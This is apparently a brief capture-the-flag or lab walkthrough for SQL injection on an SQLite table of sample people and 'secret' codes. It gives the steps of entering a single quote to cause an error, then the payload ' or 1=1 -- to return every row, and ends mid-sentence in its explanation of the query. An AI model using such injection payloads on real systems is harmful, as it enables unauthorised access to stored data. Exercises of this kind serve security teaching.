Obtain flag from the current table in Sqlite DBMS.
| ID | Name | Age | Weight | Secret |
|---|---|---|---|---|
| 1 | Andrew Bryant | 66 | 36 | S29067727 |
| 2 | Daniel Rodriguez | 32 | 32 | I31927780 |
| 3 | Mary Fitzpatrick | 41 | 66 | U92754907 |
1. Enter ', send request and observe the error.
2. Enter ' or 1=1 -- and obtain the flag.
Explanation: in query SELECT * FROM capybaras WHERE name ='1' or 1=1 -- ':